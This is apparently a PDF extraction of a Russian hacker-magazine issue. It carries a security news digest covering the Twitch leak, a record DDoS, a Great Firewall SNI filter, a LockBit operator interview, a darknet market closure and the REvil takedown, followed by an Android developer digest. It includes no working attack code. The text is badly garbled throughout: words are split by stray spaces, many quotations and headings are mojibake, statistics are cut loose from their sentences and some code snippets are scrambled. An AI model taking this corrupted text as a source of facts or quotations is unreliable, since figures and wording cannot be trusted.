Об наружить в дам пе какие-либо лич ные дан ные поль зовате лей Twitch не уда- 
лось, зато утеч ка дей стви тель но содер жала дан ные о вып латах для луч ших
стри меров плат формы. Некото рые из них под твер дили прав дивость при- 
веден ной информа ции.

Ком пания Twitch приз нала факт взло ма и опуб ликова ла офи циаль ное
заяв ление, в котором под черки вала, что поль зователь ские дан ные не пос тра- 
дали. Кро ме того, сооб щалось, что Twitch сбро сила все стри мин говые клю чи,
поэто му стри мерам приш лось получить новые в сво их про филях.

Ком пания, при над лежащая Amazon, так же заяви ла, что рас сле дова ние
слу чив шегося еще про дол жает ся, но пока все ука зыва ет на то, что ком про- 
мета ция про изош ла из-за «ошиб ки во вре мя изме нения кон фигура ции сер- 
вера Twitch, к которо му впос ледс твии получи ла дос туп третья сто рона».

НОВЫЙ DDOS-РЕКОРД: 2,4 ÒÁÈÒ/Ñ

Ком пания Microsoft сооб щила, что в кон це августа спра вилась с рекор дной DDoS-ата кой
( ), нап равлен ной на неназ ванно го евро пей ско го кли ента плат формы Azure. В DDoS-
ата ке были задей ство ваны при мер но  ботов, в основном из Ази атско-Тихо океан ско го
реги она (Малай зия, Вьет нам, Тай вань, Япо ния и Китай), а так же из Соеди нен ных Шта тов.

2,4 Тбит/с
70 000

Ата ка была раз делена на три корот кие вол ны и дли лась око ло десяти минут: пер вая вол на мощ- 
ностью , вто рая — , третья — .2,4 Тбит/с 0,55 Тбит/с 1,7 Тбит/с

Пре дыду щие рекор ды в области успешно отра жен ных DDoS-атак при над лежали Amazon AWS (в
прош лом году ком пания спра вилась с ата кой мощ ностью ) и Google Cloud (еще
в сен тябре 2017 года сер вис отра зил ата ку, чья пиковая мощ ность дос тигала ).

2,3 Tбит/с
2,54 Тбит/с

СКРЫТЫЙ СЛОЙ
«ВЕЛИКОГО
КИТАЙСКОГО
ФАЙРВОЛА»
Груп па уче ных из Мэриленд ско го уни вер ситета рас ска зала о новом слое,
обна ружен ном в сис теме «Велико го китай ско го фай рво ла». Им ока залась
вто рич ная сис тема филь тра ции HTTPS SNI, работа ющая парал лель но с пер- 
вой, запущен ной в прош лом году.

Де ло в том, что внут ри «Велико го китай ско го фай рво ла» сущес тву ют раз- 
личные механиз мы цен зуриро вания, которые работа ют с раз ными про токо- 
лами. Его наибо лее мощ ная и тех ничес ки прод винутая часть — это сис тема,
работа ющая с зашиф рован ным тра фиком HTTPS, и этот механизм раз делен
на две отдель ные сис темы. Пер вая и наибо лее ста рая работа ет, перех- 
ватывая HTTPS-соеди нения на началь ных эта пах, а затем изу чает поле SNI,
содер жащее дан ные о домене, к которо му поль зователь пыта ется получить
дос туп. Таким обра зом поле SNI поз воля ет пра витель ству Китая бло киро вать
дос туп к нежела тель ным сай там.

Вто рой механизм,  в прош лом году, в целом похож на пер- 
вый, но работа ет с HTTPS-соеди нени ями, где исполь зуют ся сов ремен ные
про токо лы, которые шиф руют поле SNI (как eSNI). Так как эта сис тема
не может «видеть», к какому домену поль зователь пыта ется получить дос туп,
бло киру ются вооб ще все соеди нения, в которых обна ружи вают ся поля eSNI.

пред став ленный

Вто рой механизм пока не получил широко го рас простра нения и, похоже,
пока находит ся на эта пе тес тирова ния, так как нем ногие HTTPS-соеди нения
исполь зуют eSNI в целом.

Те перь экспер ты из Мэриленд ско го уни вер ситета заяви ли, что они обна- 
ружи ли вто рич ную сис тему филь тра ции HTTPS SNI, работа ющую парал лель но
с запущен ной в прош лом году. Это откры тие было сде лано слу чай но,
еще в 2019 году. По сло вам экспер тов, обна ружен ная сис тема столь же
эффектив на, как и пер вый уро вень при цен зуре HTTPS, хотя она вме шива ется
в про исхо дящее уже на пос ледних эта пах соеди нения.

«

»

«Ìû ñòà ëè çàìå÷àòü ñòðàí íûå ñòðà òåãèè, â êîòîðûõ Geneva [ñèñ òåìà

îáõî äà öåí çóðû] îáõî äèëà öåí çóðó âî âðå ìÿ ïåð âîé ÷àñ òè õåí äøåé êà

TLS (ãäå, êàê ïðåä ïîëàãà ëîñü, èìå ëà ìåñ òî öåí çóðà), íî âñå æå

íå ìîã ëà ïðîä âèíóòü ñÿ â õåí äøåé êå äàëü øå. Â òî âðå ìÿ ìû íå ïîë- 

íîñòüþ ïîíèìà ëè, ÷òî ýòî, íî ñ òåõ ïîð íàøè èíñ òðó ìåí òû è ïîíèìà- 

íèå „Âåëèêî ãî êèòàé ñêî ãî ôàé ðâî ëà“ óëó÷ øèëèñü, òàê ÷òî òåïåðü ìû

îñîç íàåì, ÷òî ýòî áûëè ñòðàí íûå ðåçóëü òàòû.

Ìû íå çíà åì íàâåð íÿêà, ÷òî ýòî òàêîå, íî ïîõîæå, ÷òî ýòîò

ìåõàíèçì ñïå öèôè ÷åí äëÿ HTTPS: ìû íå íàá ëþäà åì òàêîãî æå

ïîâåäå íèÿ â äðó ãèõ ïðî òîêî ëàõ, êîòîðûå ïîä âåðãà þòñÿ öåí çóðå», —

ðàñ ñêà çûâà åò îäèí èç àâòî ðîâ äîê ëàäà Êåâèí Áîê (Kevin Bock).

Эк спер ты резюми руют, что еще нес коль ко лет назад «Великий китай ский
фай рвол» пред став лялся спе циалис там еди ным целым, но теперь ста новит ся
ясно, что он сос тоит из раз ных наборов middlebox’ов, работа ющих парал- 
лель но друг с дру гом, и каж дый из них пред назна чен для цен зуры раз ных про- 
токо лов.

«

»

«Íàøå îòêðû òèå îçíà ÷àåò, ÷òî „Âåëèêèé êèòàé ñêèé ôàé ðâîë“ ïàðàë- 

ëåëü íî èñïîëü çóåò êàê ìèíèìóì òðè ðàç íûõ middlebox’à äëÿ öåí çóðû

HTTPS: äâà äëÿ ñîåäè íåíèé íà îñíî âå SNI è åùå îäíî ñåìåé ñòâî

middlebox’îâ äëÿ öåí çóðû ñîåäè íåíèé íà îñíî âå eSNI», — ãëà ñèò

îò÷åò.

ИНТЕРВЬЮ ОПЕРАТОРА LOCKBIT
Ана литик Recorded Future Дмит рий Сми лянец взял интервью у одно го из соз дателей хорошо
извес тно го вымога теля LockBit, который акти вен с сен тября 2019 года. Беседа выш ла инте рес- 
ной, выб рали для тебя нес коль ко самых любопыт ных цитат.

О при были:

→ «Недос таточ но прос то зашиф ровать ком панию, иног да гораз до важ нее
украсть цен ную информа цию, за нераз гла шение которой ком пания готова пла- 
тить боль ше, чем за рас шифров ку».

«Не быва ет ком паний без денег, быва ют хит рые ком пании, которые не хотят
тра тить день ги на защиту сво ей сети, пла тить зар пла ту хорошим сис темным
адми нис тра торам, а потом пла тить выкуп».

О зап рете рек ламы шиф роваль щиков и банах на хак-форумах:

→ «Не очень понят но, как кибер прес тупни ки могут зап рещать опре делен ные
виды кибер прес тупле ний, ведь на самом деле все на этом форуме наруша ют
закон. Ока зыва ется, про веде ние пен теста с пос топла той для круп ных ком паний
зап рещено, но раз решено воровс тво денег с бан ков ских карт мил лионов
физичес ких лиц».

Об опас ности быть взло ман ным спец служ бами:

→ «Это один из самых эффектив ных методов борь бы с нами; ник то не зас тра- 
хован от взло ма инфраструк туры с помощью 0-day. Исполь зуя аппа рат ные бэк- 
доры АНБ, мож но получить дос туп к любому сер веру на пла нете. Поэто му всег- 
да при сутс тву ет риск быть взло ман ным».

ЗАКРЫЛСЯ WHITE
HOUSE MARKET
Опе рато ры под поль ного мар кет плей са White House Market (WHM) объ яви ли
о зак рытии сво ей тор говой пло щад ки спус тя поч ти два года пос ле ее запус ка.

«

»

«Ìû äîñ òèãëè ñâî åé öåëè, è òåïåðü, ñîã ëàñíî ïëà íó, íàì ïîðà îòîé òè

îò äåë, — ãëà ñèò îôè öèàëü íîå ñîîá ùåíèå íà ãëàâ íîé ñòðà íèöå WHM,

ïîä ïèñàí íîå óíè êàëü íûì êðèï òîãðà ôè÷åñ êèì êëþ ÷îì îïå ðàòî ðîâ. —

Ñïà ñèáî âñåì çà áèç íåñ, äîâåðèå, ïîä äåð æêó è, êîíå÷ íî æå, çà òî,

÷òî ïîëîæè ëè êðóï íûå ñóì ìû äåíåã â íàøè êàð ìàíû. Êîã äà‑íèáóäü

â áóäóùåì ìû ìîæåì âåð íóòü ñÿ ñ äðó ãèì ïðî åêòîì, à ìîæåò, è íåò».

Пос ле пуб ликации объ явле ния сайт, который работал по тому же прин ципу,
что Amazon и eBay (толь ко для прес тупни ков), уже отклю чил регис тра цию
новых поль зовате лей и пуб ликацию новых лотов. Про дав цов пре дуп редили
о том, что им пора перемес тить свои про дук ты на дру гие мар кет плей сы дар- 
кне та.

«

»

«Ìû áóäåì ïîä äåðæè âàòü ñàéò îãðà íè÷åí íîå âðå ìÿ, ïîêà âñå îòêðû- 

òûå çàêàçû íå áóäóò çàâåð øåíû, íå ðàç ðåøàò ñÿ ñïî ðû è íå áóäóò

âûâåäå íû ñðåäñ òâà. Ìû íå çíà åì, ñêîëü êî âðå ìåíè ýòî çàé ìåò, íî íå

äóìàé òå, ÷òî âåð íåòåñü ÷åðåç ïîë ãîäà è îáíà ðóæè òå, ÷òî ìàð êåò ïëåéñ

âñå åùå ðàáîòà åò», — ïèøóò àäìè íèñ òðà òîðû WHM.

WHM был запущен в дар кне те в октябре 2019 года. Сог ласно ста тис тике,
которую пуб ликова ла адми нис тра ция сай та, он нас читывал 895 000 зарегис- 
три рован ных поль зовате лей, 3450 про дав цов и око ло 47 500 объ явле ний.
Хотя сайт исполь зовал ся для рек ламы и про дажи мно жес тва нелегаль ных
товаров и услуг, в пер вую оче редь WHM был известен раз делом, в котором
про дава ли нар котики, при этом боль шинс тво про дав цов работа ли толь ко
на евро пей ских тер ритори ях.

Дру гие про дук ты и услу ги, которые пред лагали на WHM, вклю чали: бан ков- 
ские кар ты, мал варь, изго тов ление раз личных под делок, а так же про дажу
армей ско го обо рудо вания, в том чис ле ору жие, бро нежи леты, «глу шил ки»
и средс тва для уста нов ления безопас ной свя зи.

ИБ-иссле дова тели отме чали, что WHM под держи вал высокий уро вень
безопас ности, тре буя от всех поль зовате лей отклю чать JavaScript в бра узе ре
Tor перед дос тупом к сай ту, и был известен силь ной коман дой модера торов,
которая активно учас тво вала в раз решении спо ров, что неког да помог ло сай- 
ту заво евать доверие как про дав цов, так и покупа телей.

 ОБРАЗЦОВ ШИФРОВАЛЬЩИКОВ80 000 000

Спе циалис ты VirusTotal под готови ли боль шой отчет об активнос ти шиф роваль щиков за пос- 
леднее вре мя, и для это го им приш лось изу чить  образцов вымога тель ско го ПО.80 000 000

В 2020 году и в пер вой полови не 2021 года в общей слож ности было обна руже но  раз- 
личных семей ств шиф роваль щиков и боль ше все го от их атак стра дали , 
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Боль шая часть всей активнос ти отно силась к хак-груп пе GandCrab ( ), за которой сле- 
дуют Babuk ( ), Cerber ( ), Matsnu ( ), WannaCry ( ), Congur ( ),
Locky ( ), TeslaCrypt ( ), Rkor ( ) и Reveon ( ).

78,5%
7,61% 3,11% 2,63% 2,41% 1,52%

1,29% 1,12% 1,11% 0,70%

 изу чен ных вымога телей — это исполня емые фай лы для ОС семей ства Windows, а еще
 — DLL-фай лы Windows. На Android при ходит ся лишь  фай лов, а в середи не 2020 года

было обна руже но нес коль ко образцов мал вари EvilQuest, нацелен ных на Mac.

93,28%
2% 2%

Ти пы образцов шиф роваль щиков

Лишь  про ана лизи рован ных образцов мал вари ока зались свя заны с раз личны ми экс пло ита- 
ми, ведь чаще шиф роваль щики раз верты вают ся с помощью 
или .

5%
со циаль ной инже нерии

дроп перов

REVIL СНОВА
ПРЕКРАТИЛ РАБОТУ
Опе рации вымога теля REvil вновь были при оста нов лены, так как неиз вес тный
человек взло мал сайт груп пиров ки, через который хакеры при нима ли пла тежи
от жертв и сли вали укра ден ные у ком паний дан ные.

Пред ста витель REvil, извес тный под ником 0_neday, помес тил на хакер- 
ском форуме XSS сооб щение о том, что нек то зах ватил домены зло умыш- 
ленни ков. Так же сооб щалось, что неиз вес тный человек зах ватил onion-
домены хакеров, исполь зуя те же зак рытые клю чи, что и сай ты груп пы.
При этом неиз вес тный, похоже, имел дос туп к резер вным копи ям сай тов
хак-груп пы, а 0_neday заявил, что сер вер груп пиров ки был ском про мети- 
рован и неиз вес тный ата кующий нацели вал ся имен но на REvil.

Собс твен ные источни ки Reuters (три ИБ-экспер та из час тно го сек тора и быв- 
ший чинов ник) сооб щили, что инфраструк тура груп пы была отклю чена
в резуль тате опе рации пра воох ранитель ных орга нов, про веден ной в нес коль- 
ких стра нах мира.

В час тнос ти, человек, зна комый с событи ями, заявил информа цион ному
агентству, что инос тран ный пар тнер пра витель ства США про вел хакер скую
опе рацию по про ник новению в инфраструк туру REvil. Быв ший аме рикан ский
чинов ник, который говорил с жур налис тами на усло виях ано ним ности, рас- 
ска зал, что эта опе рация все еще про дол жает ся.

Гла ва по стра тегии кибер безопас ности в ком пании VMware Том Кел- 
лерман, который так же явля ется совет ником Сек ретной служ бы США по рас- 
сле дова нию кибер прес тупле ний, сооб щил пред ста вите лям СМИ сле дующее:

«

»

«ÔÁÐ âìåñ òå ñ Êèáåð êîìàí äîâàíè åì, Ñåê ðåòíîé ñëóæ áîé è ñòðà- 

íàìè‑åäè íîìûø ëåííè êàìè äåé ñòâè òåëü íî ïðåä ïðè íÿëî ñåðü åçíûå

ïîä ðûâíûå äåé ñòâèÿ ïðî òèâ ýòîé ãðóï ïèðîâ êè».

Мно гие полага ют, что на этот раз REvil прек ратил свою работу окон чатель но.
Дело в том, что недав но шиф роваль щик уже «про падал с радаров» пос ле
скан даль ных атак на кли ентов извес тно го пос тавщи ка MSP-решений 
и ком панию  (круп ней ший в мире пос тавщик говяди ны и пти цы, а так же
вто рой по величи не про изво дитель сви нины).

Kaseya
JBS

Хо тя в ито ге спус тя нес коль ко месяцев REvil вер нулся, некото рые зло- 
умыш ленни ки и ИБ-экспер ты полага ли, что ФБР или дру гие пра воох ранитель- 
ные орга ны получи ли дос туп к сер верам груп пиров ки и кон тро лиро вали их
с момен та переза пус ка. Ведь пока REvil был неак тивен, ком пания Kaseya
каким-то обра зом  уни вер саль ный ключ для дешиф рования дан ных
сво их кли ентов. Тог да мно гие счи тали, что рос сий ские пра воох раните ли
получи ли ключ дешиф рования от самих зло умыш ленни ков и переда ли его
ФБР в качес тве жес та доб рой воли.

по лучи ла

Кро ме того, в прош лом пред ста витель груп пиров ки, извес тный
под никами Unknown и UNKN, пуб ликовал на хакер ских форумах сооб щения
с рек ламой или пос ледние новос ти об опе раци ях REvil. Пос ле переза пус ка
опе раций шиф роваль щика он исчез, а сами хакеры писали, что Unknown,
веро ятно, был арес тован. Что с ним слу чилось, допод линно неиз вес тно
до сих пор.

ДРУГИЕ ИНТЕРЕСНЫЕ СОБЫТИЯ МЕСЯЦА

Àðåñ òû

Ук раин ские влас ти арес товали опе рато ров шиф роваль щика, «зарабо тав ших» 150 мил лионов
дол ларов

Опе рация Dark HunTOR: арес тованы 150 дар кнет-про дав цов

За дер жаны две над цать хакеров, ответс твен ные за 1800 вымога тель ских атак

Âçëî ìû

Ки тай ских хакеров подоз рева ют в ата ках на изра иль ские боль ницы

Взло мана ком пания, занима ющаяся мар шру тиза ций SMS круп ных опе рато ров США

Ра бота авто зап равок в Ира не прер валась из-за хакер ской ата ки

Ìàë âàðü

Бот нет из роуте ров TP-Link рас сылал стран ные SMS с 2016 года

Груп пиров ка Evil Corp исполь зует для вымога тель ских атак новую мал варь Macaw

Вре донос AbstractEmu «руту ет» смар тфо ны на Android, укло няясь от обна руже ния

Óÿç âèìîñ òè

Azure, GitHub, GitLab и BitBucket отзы вают SSH-клю чи, сге нери рован ные с помощью GitKraken

В Apache исправ лена уяз вимость нулево го дня, уже взя тая на воору жение хакера ми

Спе циалис ты наш ли баг в бан коматах Diebold Nixdorf

Èí òåðåñ íîå

В адресной стро ке Firefox появи лась рек лама

Ус трой ства на Android пос тоян но шпи онят за сво ими вла дель цами

Хак-груп па FIN7 соз дала фей ковую ком панию для поис ка и обма на ИБ-спе циалис тов

https://xakep.ru/2020/08/10/great-firewall/
https://xakep.ru/2021/07/05/kaseya-hack/
https://xakep.ru/2021/06/03/jbs-revil/
https://xakep.ru/2021/08/11/kaseya-key/
https://xakep.ru/2021/10/04/ransomware-ops-arrest/
https://xakep.ru/2021/10/27/dark-huntor/
https://xakep.ru/2021/10/29/lockergoga-megacortex-dharma-arrests/
https://xakep.ru/2021/10/18/israeli-hospitals-attacks/
https://xakep.ru/2021/10/06/syniverse-hacked/
https://xakep.ru/2021/10/27/rabota-avtozapravok-v-irane-prervalas-iz-za-hakerskoj-ataki/
https://xakep.ru/2021/10/08/tp-link-botnet/
https://xakep.ru/2021/10/22/macaw/
https://xakep.ru/2021/10/28/abstractemu/
https://xakep.ru/2021/10/12/gitkraken-keys/
https://xakep.ru/2021/10/05/apache-path-traversal/
https://xakep.ru/2021/10/25/wincor-cineo-flaw/
https://xakep.ru/2021/10/08/firefox-suggest/
https://xakep.ru/2021/10/14/android-watching-you/
https://xakep.ru/2021/10/22/bastion-secure/
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Се год ня в выпус ке: security-нов шес тва
Android 12, иден тифика ция Android-устрой- 
ств по обо ям, советы, как избе жать чрез- 
мерно го соз дания объ ектов, FAQ
по Jetpack Compose и самые популяр ные
воп росы на собесе дова нии. А так же:
смерть ViewModel и под борка биб лиотек
для раз работ чиков.

ÏÎ×ÈÒÀÒÜ

Security-íîâøåñòâà Android 12

 — офи циаль ный документ коман ды раз работ чиков
Google о нов шес твах плат формы Android 12. Мы сос редото чим ся исклю- 
читель но на новых фун кци ях безопас ности.

Android 12 Release Notes

 С новой вер сии Android боль ше
не пре дос тавля ет раз решение на показ овер леев (окон поверх экра на) авто- 
мати чес ки для пре дус танов ленных при ложе ний. Исклю чение сде лано толь ко
для сис темных при ложе ний, рас полага ющих ся в катало ге /system. ОС так же
налага ет огра ниче ния на овер леи. Теперь при ложе ния не могут исполь зовать
неп розрач ные овер леи, которые про пус кают через себя нажатия (рань ше
с их помощью поль зовате ля вынуж дали нажать опре делен ные эле мен ты
интерфей са, перек рыв их безобид ным окном). Кро ме того, при ложе ния
теперь могут поп росить сис тему не показы вать овер леи поверх сво их окон
с помощью раз решения .

Îã ðàíè÷å íèÿ íà ïîêàç îâåð ëååâ.

HIDE_OVERLAY_WINDOWS
 Android 12 поз воля ет отклю чать под дер- 

жку сотовых сетей стан дарта 2G в нас трой ках смар тфо на, что бы защитить ся
от атак, исполь зующих пониже ние до 2G.

Âîç ìîæíîñòü îòêëþ ÷èòü 2G.

 Android 12 под держи вает WPA3 Hash-to-Element (H2E),
WPA2/WPA3-Enterprise transition mode и Transition Disable indication.

Óëó÷ øåíèÿ Wi-Fi.

 Android 12 вклю чает нес- 

коль ко новых раз решений для работы с Bluetooth:

Ðàç ðåøåíèÿ íà èñïîëü çîâàíèå Bluetooth.

 — воз можность поис ка новых устрой ств и под клю чения
к ним;

• BLUETOOTH_SCAN

 — раз решение на исполь зование Bluetooth
advertising;

• BLUETOOTH_ADVERTISE

 — воз можность под клю чения к при вязан ным
устрой ствам.

• BLUETOOTH_CONNECT

Эти раз решения заменя ют ранее при меняв шиеся раз решения 

и , но толь ко для при ложе ний, соб ранных под Android 12.

Ста рые при ложе ния про дол жат работать как преж де.

BLUETOOTH
BLUETOOTH_ADMIN

 Как и iOS, начиная с 12-й вер сии

Android будет показы вать инди като ры исполь зования мик рофона и камеры
в пра вом вер хнем углу экра на.

Èí äèêàòî ðû êàìåðû è ìèê ðîôîíà.

Èäåíòèôèêàöèÿ Android-óñòðîéñòâ ïî îáîÿì

 — занима тель ная
статья о том, как иден тифици ровать любое устрой ство с Android по уста нов- 
ленным на экра не обо ям.

How Android Wallpaper Images Can Threaten Your Privacy

Не боль шое пре дис ловие. Еще в Android 2.0 появил ся класс
, который мож но исполь зовать для управле ния уста нов- 

ленны ми на экра не обо ями. Помимо про чего, класс вклю чает метод
, который поз воля ет получить текущие обои в виде изоб- 

ражения. По фак ту это была уяз вимость, которую испра вили толь ко в Android
8.1, зас тавив при ложе ния исполь зовать раз решение

, что бы получить обои.

WallpaperManager

getDrawable()

READ_EXTERNAL_STORAGE
В той же Android 8.1 у клас са  появил ся дру гой метод —

, поз воля ющий извлечь три «глав ных» цве та из обо ев

(имен но его исполь зует новая сис тема темин га Android 12). Внут ри эта фун- 
кция исполь зует метод k-сред них, инте рес ная осо бен ность которо го в том,
что фак тичес ки он соз дает уни каль ный «цве товой отпе чаток» обо ев. В ито ге
по такому отпе чат ку мож но точ но иден тифици ровать устрой ство.

WallpaperManager
getWallpaperColors()

Для демонс тра ции этой тех ники автор соз дал  и выложил его
исходни ки на .

при ложе ние
GitHub

ÐÀÇÐÀÁÎÒ×ÈÊÓ

Êàê èçáåæàòü ñîçäàíèÿ îáúåêòîâ

 — статья о том,
как сде лать при ложе ние чуточ ку быс трее, изба вив шись от ненуж ного соз- 
дания допол нитель ных объ ектов.

Effective Kotlin Item 47: Avoid unnecessary object creation

Ос новная идея: объ екты — дорогое удо воль ствие. Они занима ют память,
а на их соз дание ухо дит хоть и сов сем нез начитель ное по сов ремен ным мер- 
кам, но вре мя. Поэто му даже вир туаль ная машина Java ста рает ся миними- 
зиро вать соз дание допол нитель ных объ ектов. Нап ример, мож но было бы
подумать, что две сле дующие стро ки дол жны быть раз ными объ екта ми, но это
не так (опе ратор  срав нива ет ссыл ки на объ ект):===

   val str1 = "Lorem ipsum dolor sit amet"
   val str2 = "Lorem ipsum dolor sit amet"

   print(str1 == str2) // True
   print(str1 === str2) // True

Вир туаль ная машина, видя два оди нако вых объ екта типа String, объ еди няет
их в один объ ект. То же самое про исхо дит с типами  и , но толь ко

для чисел от –128 до 127:

Int Long

    val i1: Int? = 1
    val i2: Int? = 1

   print(i1 == i2) // True
   print(i1 === i2) // True

Для хра нения каж дого объ екта исполь зует ся заголо вок из 12 байт, который
на 64-бит ных сис темах вырав нен по 8 бай там. Так что в целом заголо вок
занима ет 16 байт, плюс сама ссыл ка на объ ект. Это не так мно го, но, ког да
име ешь дело с боль шим количес твом оди нако вых неболь ших объ ектов,
это игра ет свою роль. Нап ример,  будет занимать в пять раз
боль ше мес та, чем , прос то потому, что в пер вом слу чае каж дое

чис ло обер нуто в объ ект.

Array<Int>
IntArray

На соз дание объ ектов так же ухо дит вре мя. Оно сов сем неболь шое
при соз дании оди ноч ных объ ектов, но может иметь серь езные негатив ные
пос ледс твия, ког да объ ектов мно го. Нап ример:

 class A

    private val a = A()

// Benchmark result: 2.698 ns/op
   fun accessA(blackhole: Blackhole) {

   blackhole.consume(a)
}

// Benchmark result: 3.814 ns/op
   fun createA(blackhole: Blackhole) {

   blackhole.consume(A())
}

// Benchmark result: 3828.540 ns/op
   fun createListAccessA(blackhole: Blackhole) {

      blackhole.consume(List(1000) { a })
}

// Benchmark result: 5322.857 ns/op
   fun createListCreateA(blackhole: Blackhole) {

      blackhole.consume(List(1000) { A() })
}

Есть нес коль ко спо собов избе жать соз дания объ ектов. Один из них —
исполь зовать синг лто ны. Нап ример, в сле дующей реали зации связ ного спис- 
ка объ ект клас са Empty соз дает ся при каж дом соз дании спис ка, хотя он всег- 
да один и тот же:

  sealed class LinkedList<T>

 class Node<T>(
     val head: T,
     val tail: LinkedList<T>
  ) : LinkedList<T>()

   class Empty<T> : LinkedList<T>()

// Usage
   val list: LinkedList<Int> =

      Node(1, Node(2, Node(3, Empty())))
   val list2: LinkedList<String> =

     Node("A", Node("B", Empty()))

Прос то заменим его синг лто ном:

   object Empty : LinkedList<Nothing>()

Еще один спо соб — исполь зовать пул объ ектов. Так дела ет, нап ример, биб- 
лиоте ка под дер жки корутин. Вмес то соз дания потока для каж дой фоновой
задачи она под держи вает пул (по сути, мас сив) потоков и запус кает код
на уже под готов ленном потоке. Прос тей шая реали зация пула может выг- 
лядеть при мер но так:

     private val connections: MutableMap<String, Connection> =
    mutableMapOf<String, Connection>()

   fun getConnection(host: String) =
      connections.getOrPut(host) { createConnection(host) }

Объ екты мож но кеширо вать. Нап ример, если какая-либо фун кция при вызове
соз дает объ екты, то эти объ екты мож но где-то сох ранить, что бы исполь- 
зовать при сле дующем вызове фун кции. Да, такой кеш будет занимать
память, и поэто му при дет ся выбирать меж ду ско ростью и пот ребле нием
памяти.

Еще один хороший под ход — вынес ти тяжелые объ екты «за скоб ки».
Взгля ни на сле дующие две реали зации фун кции, которая вычис ляет количес- 
тво мак сималь ных эле мен тов в кол лекции:

      fun <T : Comparable<T>> Iterable<T>.countMax(): Int =
        count { it == this.max() }

      fun <T : Comparable<T>> Iterable<T>.countMax(): Int {
      val max = this.max()
         return count { it == max }
}

Вто рая реали зация будет нам ного быс трее, потому что она находит мак- 
сималь ный эле мент толь ко один раз.

Ну и навер ное, самый прос той спо соб — откла дывать соз дание тяжелых
объ ектов. То есть вмес то такого кода:

   val a = A()

пи сать такой:

      val a by lazy { A() }

Во вто ром слу чае объ ект будет соз дан толь ко при пер вом обра щении к .
А это го может не про изой ти вов се.

a

Jetpack Compose FAQ

 — неболь шой FAQ
по Jetpack Compose для тех, кто раз думыва ет, сто ит ли исполь зовать новый
UI-фрей мворк.

7 things you should know before using Jetpack Compose

 Да, по сло вам Google, вер- 

сия 1.0.0 уже пол ностью готова для про дак шена.

• Jetpack Compose óæå ñòà áèëåí?

 Нет, Compose

завязан на мно гие воз можнос ти Kotlin, такие как suspend-фун кции и пла- 
гины ком пилято ра.

• Ìîæ íî ëè èñïîëü çîâàòü Jetpack Compose ñ Java?

 Android 5.0 и Android Studio Arctic
Fox (2020.3.1).

• Êà êèå ìèíèìàëü íûå òðå áîâà íèÿ?

Тес ты показа ли, что Compose спо собен сде лать при ложе ние быс трее,
а раз мер APK — мень ше, но толь ко если исполь зовать исклю читель но
Compose и не при меши вать тра дици онные эле мен ты интерфей са; в пос- 
леднем слу чае вре мя сбор ки и раз мер APK могут нез начитель но воз расти.

• Êàê Compose âëè ÿåò íà ïðî èçâî äèòåëü íîñòü è âðå ìÿ ñáîð êè?

 Да,

Compose может исполь зовать ся парал лель но и даже сов мес тно с тра- 
дици онной сис темой UI Android; более того, миг рацию на Compose
рекомен дует ся выпол нять пос тепен но, а не сра зу для все го при ложе ния.

• Ìîæ íî ëè èñïîëü çîâàòü Compose â ñóùåñ òâó þùåì ïðî åêòå?

 Да, Compose — часть набора биб- 
лиотек Jetpack и отлично с ними вза имо дей ству ет, так же его мож но
исполь зовать сов мес тно с Glide, Coil, Dagger/Hilt, Flow, Retrot, Ktor, Lottie
и мно гими дру гими биб лиоте ками.

• Ìîæ íî ëè èñïîëü çîâàòü Compose ñîâ ìåñ òíî ñ äðó ãèìè

ïîïóëÿð íûìè áèá ëèîòå êàìè?

 В нас тоящий момент находят ся в раз работ ке бра узер ная

и дес ктоп ная вер сии Compose, поч ти готова вер сия для умных часов,
сущес тву ет даже 

.

• Ìîæ íî ëè èñïîëü çîâàòü Compose äëÿ ìóëü òèï ëàòôîð ìåííîé

ðàç ðàáîò êè?

вер сия Compose для раз работ ки кон соль ных при ложе- 
ний

Jetpack Compose è ViewModel

 — замет ка о том,
почему раз работ чики Android не рекомен дуют исполь зовать
androidx.lifecycle.ViewModel сов мес тно с Jetpack Compose и почему появ- 
ление Compose фак тичес ки озна чает смерть ViewModel, даже если вы
исполь зуете пат терн MVVM.

Compose UI and the death of androidx.lifecycle.ViewModel

От вет на этот воп рос доволь но прос той: androidx.lifecycle.ViewModel был
соз дан для того, что бы при вязать ViewModel к жиз ненно му цик лу активнос ти
или фраг мента. В при ложе ниях, написан ных с исполь зовани ем Jetpack
Compose, рекомен дует ся исполь зовать толь ко одну активность и не исполь- 
зовать фраг менты вооб ще. Дру гими сло вами, проб лема, решени ем которой
был androidx.lifecycle.ViewModel, прос то перес тала сущес тво вать и поэто му
он стал не нужен.

В при ложе ниях на Jetpack Compose ViewModel дол жна быть обыч ным
клас сом, жиз ненный цикл которо го будет равен жиз ненно му цик лу все го при- 
ложе ния. Если же необ ходимо при вязать ViewModel к жиз ненно му цик лу
активнос ти, то дос таточ но ини циали зиро вать его в методе 

активнос ти.

onCreate()

Âîïðîñû íà ñîáåñåäîâàíèè

 и  — две
статьи о час тых воп росах на собесе дова ниях на дол жность раз работ чика
при ложе ний для Android. Прой дем мимо сов сем три виаль ных воп росов вро де
раз ницы меж ду  и  и рас смот рим наибо лее инте рес ные.

Kotlin Interview Cheat Sheet Interview Questions for Android Developer

val var
1. 

 Пер вый исполь зует ся из основно го потока, вто- 

рой — из фоново го.

Â ÷åì ðàç íèöà ìåæ äó ìåòîäà ìè setValue() è postValue()

â MutableLiveData?

2. 
С помощью метода .
Êàê ïðî âåðèòü, ÷òî lateinit-ñâîé ñòâî áûëî èíè öèàëè çèðî âàíî?

isInitialized()
3.  Пер вый ини- 

циали зиру ется при пер вом дос тупе, вто рой — во вре мя заг рузки клас са,
к которо му он при вязан.

Êà êîâà ðàç íèöà ìåæ äó object è companion object?

4.  Пер вый исполь зует ся

для про вер ки зна чений объ ектов, вто рой — ссы лок.

Ðàç íèöà ìåæ äó îïå ðàòî ðàìè == è ===?

5. 

 When нам ного мощ нее, его мож но исполь зовать как выраже ние,

а внут ри выпол нять слож ные срав нения.

Â ÷åì ïðå èìó ùåñ òâî îïå ðàòî ðà when â Kotlin ïåðåä switch

â Java?

6. 

 Пер вичный конс трук тор объ явля ется в самом объ явле- 

нии клас са, сра зу пос ле име ни клас са; он не может содер жать кода ини- 
циали зации (его сле дует выносить в блок ). Для объ явле ния вто рич- 
ного конс трук тора исполь зует ся блок , в котором мож но
не толь ко ини циали зиро вать поля, но и выпол нять код.

Â ÷åì ðàç íèöà ìåæ äó îñíîâíûì è âòî ðè÷ íûì êîíñ òðóê òîðîì

êëàñ ñà â Kotlin?

init
constructor

7.  Да, их мож но
исполь зовать, что бы ини циали зиро вать раз личные по наз начению и смыс- 
лу ком понен ты клас са.

